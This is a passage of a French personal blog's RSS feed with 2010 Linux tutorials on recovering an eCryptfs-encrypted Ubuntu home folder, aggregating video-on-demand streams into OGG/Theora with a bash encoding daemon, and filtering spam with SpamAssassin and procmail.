Le répertoire <code>/home/USER</code>, quant à lui, n&#8217;existe pas physiquement&nbsp;: c&#8217;est juste une &laquo;&nbsp;vue&nbsp;&raquo; déchiffrée du répertoire <code>.Private</code>.</p>
<p><em>Remarque&nbsp;: les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier &laquo;&nbsp;en clair&nbsp;&raquo; (d&#8217;autant plus qu&#8217;ils contiennent un préfixe). Ceci a une conséquence&nbsp;: en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier &laquo;&nbsp;en clair&nbsp;&raquo; d&#8217;environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…</em></p>
<h3>Connaître la passphrase de montage</h3>
<p>Une fois le système démarré, il est possible de connaître la <em>passphrase de montage</em>&nbsp;:</p>
<pre>$ ecryptfs-unwrap-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476</pre>
<p>D&#8217;ailleurs, lors du premier démarrage, <em>Ubuntu</em> vous demandera d&#8217;exécuter cette commande et de noter quelque part le résultat.</p>
<p>Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d&#8217;un <em>LiveCD</em>), il faut préciser le fichier qui contient la <em>passphrase de montage</em> chiffrée&nbsp;:</p>
<pre>$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476</pre>
<h3>Changer la passphrase de login</h3>
<p>On ne peut pas changer facilement la <em>passphrase de montage</em>, car il faudrait alors rechiffrer toutes les données. Par contre, la <em>passphrase de login</em> peut être aisément changée (puisque seule la <em>passphrase de montage</em> sera à rechiffrer).</p>
<p>En pratique, ce changement est fait automatiquement lors d&#8217;un changement de mot de passe du compte utilisateur.</p>
<p>Pour la changer manuellement <em>(attention, il ne sera plus possible de démarrer correctement si la </em><em>passphrase de login</em> ne correspond pas au mot de passe de connexion)&nbsp;:</p>
<pre>$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Old wrapping passphrase: (entrer ici l'ancienne passphrase de login)
New wrapping passphrase: (entrer ici la nouvelle passphrase de login)</pre>
<h3>Réinstaller le système d&#8217;exploitation</h3>
<p>Pour réinstaller le système d&#8217;exploitation (par exemple pour y mettre une nouvelle version d&#8217;<em>Ubuntu</em>) en conservant son dossier personnel chiffré, il faut bien sûr avoir le <code>/home</code> sur une partition séparée, ne pas la formater lors de la nouvelle installation, mais il faut aussi utiliser le même login et <strong>le même mot de passe de connexion</strong>. Si vous respectez cette règle, vous n&#8217;avez rien de particulier à faire, tout est transparent.</p>
<p>Si vous avez changé le mot de passe, l&#8217;installation se déroule normalement sans avertissement, mais une fois le système installé, vous ne pourrez pas vous connecter (car vous n&#8217;avez pas de <code>/home</code> accessible). Si cela vous arrive, ce n&#8217;est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez manuellement votre <em>passphrase de login</em> (comme expliqué dans la section ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre ancienne <em>passphrase de login</em> vous sera demandée.</p>
<p>Si malheureusement vous ne vous souvenez plus de votre ancienne <em>passphrase de login</em> (vous le faites exprès ou quoi&nbsp;?), mais que vous possédez votre <em>passphrase de montage</em>, vous pouvez vous en sortir&nbsp;:</p>
<pre>$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase to wrap: (entrez ici la passphrase de montage)
Wrapped passphrase: (entrez ici la nouvelle passphrase de login)</pre>
<p>Redémarrez le système, et normalement tout fonctionne.</p>
<h3>Chiffrer son dossier personnel après installation</h3>
<p>Il est également possible de chiffrer son dossier personnel une fois le système installé. Cependant, il y a une limitation très contraignante&nbsp;: il faut avoir comme espace libre 2,5× la taille de l&#8217;espace occupé par le dossier personnel, c&#8217;est-à-dire que la partition contenant <code>/home</code> ne doit pas être remplie à plus de 28%.</p>
<p>Avant toute chose, <strong>faire une sauvegarde</strong> sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).</p>
<p>Le paquet <a href="apt://ecryptfs-utils">ecryptfs-utils</a> doit être installé&nbsp;:</p>
<pre>sudo apt-get install ecryptfs-utils</pre>
<p>La commande qui permet de <em>migrer</em> son home est <code>ecyptfs-migrate-home</code>. Cependant, aucune ressource de l&#8217;utilisateur du dossier personnel à migrer ne doit être utilisée (pas même un shell). On a donc besoin d&#8217;un autre utilisateur, par exemple <code>root</code> (provisoirement).</p>
<p>On réactive donc le compte root et on lui affecte un mot de passe&nbsp;:</p>
<pre>sudo passwd root</pre>
<p>Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas). Lors de l&#8217;écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec <code>root</code>, et exécuter&nbsp;:</p>
<pre>ecryptfs-migrate-home -u USER</pre>
<p>(en remplaçant USER par le nom de l&#8217;utilisateur dont le dossier personnel doit être migré)</p>
<p>Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…</p>
<p>Une fois terminé, se connecter avec l&#8217;utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.<br />
L&#8217;ancien dossier personnel (non chiffré) est dans <code>/home/USER.xxxxxx</code>.</p>
<p>Si tout s&#8217;est bien passé ce dossier doit être supprimé, et le compte <code>root</code> peut être désactivé&nbsp;:</p>
<pre>sudo passwd --lock root</pre>
<h3>Récupérer ses données chiffrées</h3>
<p>C&#8217;est la partie indispensable pour accepter d&#8217;utiliser un dossier personnel chiffré&nbsp;: être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.</p>
<p>Pour accéder aux données, il suffit d&#8217;un <em>LiveCD</em> d&#8217;une distribution avec un noyau <em>Linux</em> supérieur ou égal à 2.6.26. J&#8217;ai donc utilisé le <em>LiveCD</em> d&#8217;Ubuntu Lucid Lynx (10.04) pour mes tests, en m&#8217;inspirant de <a href="https://help.ubuntu.com/community/EncryptedPrivateDirectory#Recovering%20Your%20Data%20Manually">cette doc</a>.</p>
<p>Tout d&#8217;abord, il faut monter la partition contenant les dossiers chiffrés (ça se fait graphiquement en cliquant sur le disque correspondant dans le menu <em>Raccourcis</em>). J&#8217;utiliserai l&#8217;emplacement <code>/media/DISK</code> comme exemple.</p>
<p>Tout ce que nous allons faire à partir de maintenant nécessite d&#8217;être <code>root</code>, passons donc <code>root</code>&nbsp;:</p>
<pre>sudo -s</pre>
<p>La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite&nbsp;:</p>
<pre>root@ubuntu:/~# ecryptfs-add-passphrase --fnek
Passphrase: (entrer la passphrase de montage)
Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring
Inserted auth tok with sig [7890544814a5865f] into the user session keyring</pre>
<p>C&#8217;est le code entre crochets de la dernière ligne qui est important.</p>
<p>On va monter le répertoire chiffré dans un répertoire qu&#8217;on va appeler <code>decrypted</code>, créons-le&nbsp;:</p>
<pre>root@ubuntu:/~# mkdir decrypted</pre>
<p>Ensuite, on monte et on répond aux questions&nbsp;:</p>
<pre>root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted
Selection [aes]:
Selection [16]:
Enable plaintext passthrough (y/n) [n]:
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f</pre>
<p>(pour la FNEK, il faut bien préciser la signature qu&#8217;on a récupéré juste au-dessus)</p>
<p>Si tout s&#8217;est bien passé&nbsp;:</p>
<pre>Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=7890544814a5865f
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=514d1d3af1a232d
Mounted eCryptfs</pre>
<p>Les données sont maintenant accessibles:</p>
<pre>root@ubuntu:~# ls decrypted
Bureau     examples.desktop  Modèles  Public           Vidéos
Documents  Images            Musique  Téléchargements</pre>
<p>Pour démonter:</p>
<pre>root@ubuntu:~# umount decrypted</pre>
<h3>Conclusion</h3>
<p>Je pense qu&#8217;on a fait le tour de l&#8217;essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J&#8217;en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.</p>
<p>Il faut cependant être conscient de deux choses.</p>
<p>Tout d&#8217;abord, les données personnelles ne sont pas présentes uniquement dans le répertoire <code>/home</code>, elles sont copiées dans <code>/tmp</code>, dans la RAM, dans le SWAP <em>(il est également possible de chiffrer le SWAP, grâce à <code>ecryptfs-setup-swap</code>)</em>, etc. Le chiffrement est donc une étape essentielle dans la protection des données, mais il faut comprendre ce que ça protège (voir à ce sujet le <a href="http://guide.boum.org">guide d&#8217;autodéfense numérique</a>). </p>
<p>Ensuite, ce chiffrement est là pour protéger la <em>vie privée</em>, pas pour cacher quelque chose à la justice. D&#8217;une part, le code pénal prévoit une peine de 3 ans et 45000€ d&#8217;amende pour refus de fournir la <em>convention secrète de déchiffrement</em> (autrement dit la clé). D&#8217;autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l&#8217;objectif à atteindre, à savoir la protection de la vie privée).</p>
<p>Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter <a href="http://blog.rom1v.com/2009/05/gnupg-chiffrer-et-signer-sous-ubuntu-pour-les-nuls/">GnuPG : chiffrer et signer sous Ubuntu pour les nuls</a>.</p>
<p>Amusez-vous bien.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Agréger différentes sources de VOD en OGG/Theora</title>
		<link>http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora/</link>
		<comments>http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 18:58:08 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ogg]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1341</guid>
		<description><![CDATA[Pour mes flux RSS, j&#8217;utilise l&#8217;outil tt-rss installé sur mon serveur, qui récupère régulièrement tous les flux auxquels je suis abonné. Le but de ce billet est de mettre en place un mécanisme similaire qui s&#8217;applique aux sources de vidéo à la demande (pas forcément prévues pour être agrégées), et qui les convertit dans le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png" alt="" title="oggtheora" width="150" height="100" class="alignright size-full wp-image-1317" /></a></p>
<p>Pour mes flux RSS, j&#8217;utilise l&#8217;outil <a href="http://tt-rss.org">tt-rss</a> installé sur mon serveur, qui récupère régulièrement tous les flux auxquels je suis abonné.</p>
<p>Le but de ce billet est de mettre en place un mécanisme similaire qui s&#8217;applique aux sources de vidéo à la demande (pas forcément prévues pour être agrégées), et qui les convertit dans le format ouvert OGG/Theora (dans un répertoire rendu accessible par un serveur web tel qu&#8217;<em>Apache</em>), tout en parallélisant au maximum les différentes actions afin que le temps total de récupération soit minimal.</p>
<p>En particulier, il faut éviter de télécharger la première vidéo, puis de l&#8217;encoder, d&#8217;attendre que l&#8217;encodage soit terminé pour télécharger la seconde vidéo… Et si plusieurs CPU sont disponibles sur la machine, il faut donner un encodage à chaque processeur (l&#8217;encodeur <em>theora</em> ne sachant pas paralléliser l&#8217;encodage d&#8217;une seule vidéo).</p>
<h3>Architecture</h3>
<p>Pour cela, il y a donc 2 parties bien distinctes&nbsp;:</p>
<ul>
<li>un <strong>serveur d&#8217;encodage</strong>, qui s&#8217;occupe du démarrage et de la parallélisation des encodages&nbsp;;</li>
<li>des <strong>programmes de récupération</strong> <em>brute</em> pour chaque source de flux, qui demandent au serveur d&#8217;encodage de s&#8217;occuper de la conversion des fichiers récupérés.</li>
</ul>
<h3>Serveur d&#8217;encodage</h3>
<h4>Principe</h4>
<p>Le serveur d&#8217;encodage gère plusieurs processus <em>ouvriers</em> (dans l&#8217;idéal, il faut configurer pour avoir autant de processus que de CPU sur la machine). Il attend de nouvelles tâches, et les transmet aux ouvriers disponibles, qui s&#8217;occupent de l&#8217;encodage. Si aucun ouvrier n&#8217;est disponible, il attend qu&#8217;un se libère.</p>
<h4>Implémentation</h4>
<p>Les demandes d&#8217;encodage se font grâce à un <em>named pipe</em> (aussi appelé FIFO), un fichier un peu spécial créé avec <code>mkfifo</code>. Chaque ligne représente une tâche. Concrètement, une tâche est décrite par les paramètres à passer à <code>ffmpeg2theora</code> (l&#8217;encodeur <em>theora</em>), séparés par un séparateur (j&#8217;ai choisi «&nbsp;<code>|</code>&nbsp;», qui a peu de chance d&#8217;être utilisé dans un nom de fichier). <em>Pour les puristes, je vous mets au défi d&#8217;utiliser comme séparateur <code>\0</code>, tout en conservant le mécanisme de file d&#8217;attente dans un fichier.</em></p>
<p>Un démon récupère les nouvelles lignes ajoutées au fichier, et les transmet une à une aux ouvriers. Chaque ouvrier recrée le tableau des arguments en redécoupant la ligne suivant le séparateur choisi, et le passe en paramètre de <code>ffmpeg2theora</code> (en y ajoutant toujours <code>--nice 19</code> pour n&#8217;utiliser que le CPU disponible, sans ralentir d&#8217;autres programmes en cours d&#8217;exécution).</p>
<h5>Démon</h5>
<p>Voici le programme démon (adapter le nombre de CPU)&nbsp;:<br />
<code>/usr/sbin/ffmpeg2theora-laterd</code></p>
<pre>#!/bin/bash
CPU=2
TASKS=/tmp/ffmpeg2theora-tasks
[ -p "$TASKS" ] || mkfifo "$TASKS" -m 666
tail -f "$TASKS" | xargs -I{} -P "$CPU" ffmpeg2theora-later-job {}</pre>
<p>Ce script fait donc exécuter par les ouvriers le programme <code>ffmpeg2theora-later-job</code> pour chacune des tâches, dont voici le code&nbsp;:<br />
<code>/usr/sbin/ffmpeg2theora-later-job</code></p>
<pre>#!/bin/bash
IFS='|' read -a args &lt;&lt;&lt; "$1"
echo "executing: ffmpeg2theora ${args[@]} --nice 19"
ffmpeg2theora "${args[@]}" --nice 19</pre>
<p><em>Je vous conseille de prendre la dernière version de <a href="http://v2v.cc/~j/ffmpeg2theora/">ffmpeg2theora</a>, actuellement celle des dépôts est assez ancienne.</em></p>
<p>Le démon est à lancer une fois (et une seule&nbsp;!), au démarrage du système par exemple (une solution est de l&#8217;ajouter dans <code>/etc/rc.local</code>).</p>
<h5>Client</h5>
<p>Les clients (les programmes qui veulent demander un encodage) doivent appeler <code>ffmpeg2theora-later</code>, qui s&#8217;occupe d&#8217;écrire les paramètres séparés par «&nbsp;<code>|</code>&nbsp;» dans le FIFO&nbsp;:<br />
<code>/usr/bin/ffmpeg2theora-later</code></p>
<pre>#!/bin/bash
printf '|%s' "$@" | cut -c2- > /tmp/ffmpeg2theora-tasks</pre>
<p>Son utilisation est extrêmement proche de <code>ffmpeg2theora</code> (évidemment, puisqu&#8217;il se contente de lui transmettre ses paramètres), à ceci près que les chemins doivent être absolus (puisque le démon ne sait pas à partir de quel répertoire la demande d&#8217;encodage a été effectuée).</p>
<p>Ainsi, là où on aurait utilisé, à partir de <code>/tmp</code>&nbsp;:</p>
<pre>ffmpeg2theora file.avi -o file.ogv -x 400 -y 300 -v 8 -a 3</pre>
<p>on peut appeler&nbsp;:</p>
<pre>ffmpeg2theora-later /tmp/file.avi -o /tmp/file.ogv -x 400 -y 300 -v 8 -a 3</pre>
<h3>Programmes de récupération</h3>
<h4>Principe</h4>
<p>Les programmes de récupération font ce qui est nécessaire pour récupérer les vidéo à télécharger. Plusieurs outils sont bien utiles pour cela&nbsp;:</p>
<ul>
<li><code>wget</code> si le fichier est disponible en <em>HTTP</em> (mais c&#8217;est rare)&nbsp;;</li>
<li><code>flvstreamer</code> pour récupérer les vidéos diffusées en <em>Flash</em> avec des liens en <code>rtmp://</code> (anciennement <code>rtmpdump</code>, je vous recommande <a href="http://lkcl.net/rtmp/">le message</a> adressé à <em>Adobe</em> de la part du développeur originel)&nbsp;;</li>
<li><code>mimms</code> pour récupérer les vidéos diffusées en <em>WMV</em> avec des liens en <code>mms://</code>.</li>
</ul>
<p>Pensez bien à ouvrir les ports nécessaires pour récupérer les vidéos (1935 par défaut pour les liens RTMP, 1755 pour MMS…).</p>
<h4>Implémentation</h4>
<p>Afin de rendre un peu indépendants les répertoires manipulés, j&#8217;ai décidé de créer un script <code>vodget</code> qui appelle les programmes de récupération avec 2 paramètres&nbsp;:</p>
<ol>
<li>le répertoire de téléchargement&nbsp;;</li>
<li>le répertoire destination.</li>
</ol>
<p><code>/usr/bin/vodget</code></p>
<pre>#!/bin/bash
scripts_dir=/var/lib/vodget
script="$scripts_dir/$1"
download_dir=/tmp/vodget
target_dir=/var/www/vod
$script "$download_dir" "$target_dir"</pre>
<p>Les programmes de récupération sont stockés dans <code>/var/lib/vodget</code>.</p>
<h5>Exemple</h5>
<p>Voici un exemple qui récupère les guignols de l&#8217;info (Canal+)&nbsp;:<br />
<code>/var/lib/vodget/guignols</code></p>
<pre>#!/bin/bash
category=guignols
download_dir="$1/$category"
target_dir="$2/$category"
mkdir -p "$download_dir"
mkdir -p "$target_dir"
wget -O- http://www.canalplus.fr/rest/bootstrap.php?/bigplayer/search/guignols | grep -o 'rtmp://[^&lt;]\+.mp4' | while read url
do
    filename="$(echo "$url" | sed 's/.*\([0-9]\{2\}\)\([0-9]\{2\}\)\([0-9]\{2\}\).*/20\1-\2-\3/')"
    if [ ! -f "$target_dir/$filename.ogv" ]
    then
        flvstreamer -r "$url" -o "$download_dir/$filename.mp4"
        touch "$target_dir/$filename.ogv"
        ffmpeg2theora-later "$download_dir/$filename.mp4" -o "$target_dir/$filename.ogv" -v8 -a3
    fi
done</pre>
<p>Cet exemple est une implémentation qui a l&#8217;avantage d&#8217;être très courte, vous pouvez aussi adapter <a href="http://forum.ubuntu-fr.org/viewtopic.php?id=346586">des versions plus évoluées</a> pour qu&#8217;elles utilisent <code>ffmpeg2theora-later</code>.</p>
<p>Un simple appel à&nbsp;:</p>
<pre>vodget guignols</pre>
<p>récupèrera les nouveaux épisodes et les encodera en OGG/Theora.</p>
<p>Il ne restera plus qu&#8217;à se rendre sur la page HTTP pointant sur le répertoire des vidéos avec <a href="http://mozilla-europe.org/fr/firefox/">un navigateur</a> qui supporte le HTML5 et le codec OGG/Theora, pour pouvoir regarder les vidéos ainsi récupérées&nbsp;:</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/04/vod-guignols.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/04/vod-guignols-300x193.png" alt="" title="vod-guignols" width="300" height="193" class="aligncenter size-medium wp-image-1375" /></a></p>
<p><em>Bien sûr, les vidéos récupérées qui ne sont pas sous licence libre sont à usage personnel. Cela permet de regarder en VOD les épisodes dans un format ouvert, qui ne nécessite pas de programme propriétaire, ces vidéos ne doivent pas être placées sur un serveur public.</em></p>
<h4>Démarrage programmé</h4>
<p>Pour automatiser tout cela, il est possible de programmer périodiquement la récupération des nouvelles vidéos grâce à <a href="http://doc.ubuntu-fr.org/cron">cron</a>. Pour cela&nbsp;:</p>
<pre>crontab -e</pre>
<p>et ajouter la ligne <em>qui-va-bien</em>. Par exemple, pour récupérer les nouveaux épisodes des guignols tous les jours à 23 heures&nbsp;:</p>
<pre>00 23 * * * vodget guignols</pre>
<h3>Améliorations</h3>
<p>Techniquement, il faudrait gérer le démon par un script <em>init.d</em>, mais ça n&#8217;est pas si simple (si on arrête le service alors qu&#8217;une vidéo est en cours d&#8217;encodage et qu&#8217;on le redémarre, le nombre de CPU à utiliser ne sera plus respecté…).</p>
<p>Si vous êtes motivés, il est également possible de faire un beau site qui permette de regarder les vidéos en VOD, plutôt qu&#8217;une page qui liste simplement les fichiers récupérés.</p>
<h3>Conclusion</h3>
<p>Les différentes vidéos que je suis susceptible de regarder en VOD (que je ne regardais pas avant) sont maintenant disponibles sur mon serveur, lisible directement par mon navigateur.</p>
<p>On peut imaginer de nombreuses sources à agréger&nbsp;:</p>
<ul>
<li>les sites de VOD des chaînes de télévision (Canal+, France5, M6…)&nbsp;;</li>
<li>des bandes-annonces cinéma&nbsp;;</li>
<li>des chaînes enregistrées en direct avec la TV sur ADSL&nbsp;;</li>
<li>le flux de l&#8217;Assemblée Nationale ou du Sénat&nbsp;;</li>
<li>…</li>
</ul>
<p>Bien sûr, on aimerait mieux que les différentes sources fournissent des flux RSS pointant vers leurs vidéos, qu&#8217;ils diffuseraient eux-même en OGG/Theora. Mais on peut toujours attendre…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Filtrer les spams sur un serveur mail (SpamAssassin)</title>
		<link>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/</link>
		<comments>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 22:25:54 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1265</guid>
		<description><![CDATA[Pour continuer ma série d&#8217;articles sur l&#8217;auto-hébergement de ses mails, je vais présenter l&#8217;installation de SpamAssassin. Pour mon serveur mail (et plus généralement pour les outils que j&#8217;utilise), j&#8217;essaie de mettre en place uniquement ce dont j&#8217;ai besoin. Et jusqu&#8217;ici, je n&#8217;avais pas l&#8217;utilité d&#8217;un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j&#8217;en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/03/NO-SPAM.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/03/NO-SPAM.png" alt="" title="NO-SPAM" width="150" height="150" class="alignright size-full wp-image-1293" /></a><br />
Pour continuer ma série d&#8217;articles sur l&#8217;auto-hébergement de ses mails, je vais présenter l&#8217;installation de <em>SpamAssassin</em>.</p>
<p>Pour mon serveur mail (et plus généralement pour les outils que j&#8217;utilise), j&#8217;essaie de mettre en place uniquement ce dont j&#8217;ai besoin. Et jusqu&#8217;ici, je n&#8217;avais pas l&#8217;utilité d&#8217;un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j&#8217;en reçois un de temps en temps… C&#8217;est donc l&#8217;occasion de m&#8217;y mettre.</p>
<h3>Installation et configuration</h3>
<p>Il existe plusieurs méthodes, j&#8217;ai choisi la plus simple&nbsp;: c&#8217;est <em>procmail</em> qui fournit les mails à <em>SpamAssassin</em>.</p>
<p>Il faut tout d&#8217;abord <a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">installer et configurer procmail</a>, puis installer le paquet <a href="apt://spamassassin">spamassassin</a>&nbsp;:</p>
<pre>sudo apt-get install spamassassin</pre>
<p>Ensuite, rajouter dans <code>~/.procmailrc</code> la règle suivante (copiée de <a href="http://spamassassin.apache.org/full/3.0.x/dist/procmailrc.example">la doc</a>)&nbsp;:</p>
<pre># Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'
# if you use the spamc/spamd combination)
#
# The condition line ensures that only messages smaller than 250 kB
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam
# isn't bigger than a few k and working with big messages can bring
# SpamAssassin to its knees.
#
# The lock file ensures that only 1 spamassassin invocation happens
# at 1 time, to keep the load down.
#
:0fw: spamassassin.lock
* &lt; 256000
| spamassassin</pre>
<p>Enfin, éditer <code>/etc/spamassassin/local.cf</code>.</p>
<p>Pour uniquement ajouter les en-têtes de spam (ce qui est suffisant pour filtrer), il faut changer la valeur de <code>report_safe</code>&nbsp;:</p>
<pre>report_safe 0</pre>
<p>Pour ajouter un tag dans le sujet d&#8217;un mail considéré comme un spam&nbsp;:</p>
<pre>rewrite_header Subject *****SPAM*****</pre>
<p>Il est également possible de configurer le score requis pour qu&#8217;un mail soit considéré comme un spam. Plus cette valeur est faible, plus le filtre est agressif.<br />
La valeur par défaut (5.0) est un peu faible, je vous conseille d&#8217;augmenter un peu si vous voulez limiter les faux-positifs&nbsp;:</p>
<pre>required_score 6.0</pre>
<p>Rajouter éventuellement les lignes suivantes&nbsp;:</p>
<pre># Langues attendues (les autres auront un score plus élevé)
ok_languages fr

# Rapports en français
lang fr</pre>
<p>Pour ajouter un expéditeur en liste blanche, rajouter&nbsp;:</p>
<pre>whitelist_from any@mail.com</pre>
<h3>Test</h3>
<p>Pour tester, le plus simple est de mettre un filtre très sévère, par exemple avec un score négatif&nbsp;:</p>
<pre>required_score -2</pre>
<p>En m&#8217;envoyant un mail à moi-même qui contient comme sujet <em>test</em>, je constate à la réception que les en-têtes ont été modifiés&nbsp;:</p>
<pre>Subject: *****SPAM***** test
Date: Thu, 25 Mar 2010 21:19:52 +0100
Message-Id: &lt;1269548392.9798.9.camel@rom-laptop>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on rom-eeebox
X-Spam-Level: ***
X-Spam-Status: Yes, score=3.9 required=-2.0 tests=ALL_TRUSTED,</pre>
<p>Le mail a bien été détecté comme un spam. Ça fonctionne.</p>
<h3>Filtrage</h3>
<p>Maintenant que les spams sont détectés, il faut les traiter (les déplacer dans un dossier prévu à cet effet).</p>
<p>Il suffit pour cela de créer un dossier sur le serveur&nbsp;:</p>
<pre>maildirmake.dovecot ~/Maildir/.Spams</pre>
<p>et d&#8217;ajouter la règle suivante dans <codttte>~/.procmailrc (<a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">plus d&#8217;infos</a>)&nbsp;:</p>
<pre>:0
* ^X-Spam-Status: Yes
.Spams/</pre>
<h3>Conclusion</h3>
<p>Les spams auront maintenant un peu plus de mal à se glisser dans ma boîte mail.</p>
<p>La configuration présentée ici est vraiment minimale. Selon son efficacité il faudra peut-être l&#8217;affiner.</p>
<h3>Voir aussi</h3>
<p>Mes précédents billets sur l&#8217;auto-hébergement des mails&nbsp;:<br />
<a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">Hébergez vos mails sur Ubuntu Server (et libérez-vous)</a><br />
<a href="http://blog.rom1v.com/2009/11/installer-un-webmail-roundcube-sur-ubuntu-server/">Installer un webmail (RoundCube) sur Ubuntu Server</a><br />
<a href="http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail/">Ajouter l’authentification SMTP sur un serveur mail</a><br />
<a href="http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail/">Trier ses mails directement sur le serveur (procmail)</a></codttte></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Installer une application .apk sur Android à partir d&#8217;un PC</title>
		<link>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/</link>
		<comments>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 11:12:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1207</guid>
		<description><![CDATA[J&#8217;expliquais, lors de mes premières impressions d&#8217;Android 2 sur le Motorola Milestone, qu&#8217;il était impossible d&#8217;installer un fichier .apk sans accepter les conditions d&#8217;utilisation du market ni configurer un compte gmail. C&#8217;est en fait possible, grâce à l&#8217;outil adb du SDK Android, à partir la connexion USB de l&#8217;ordinateur. Configurer le téléphone Pour que l&#8217;outil [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;expliquais, lors de <a href="http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions/">mes premières impressions d&#8217;Android 2 sur le Motorola Milestone</a>, qu&#8217;il était impossible d&#8217;installer un fichier <code>.apk</code> sans accepter les conditions d&#8217;utilisation du <em>market</em> ni configurer un compte <em>gmail</em>.</p>
<p>C&#8217;est en fait possible, grâce à l&#8217;outil <code>adb</code> du SDK Android, à partir la connexion USB de l&#8217;ordinateur.</p>
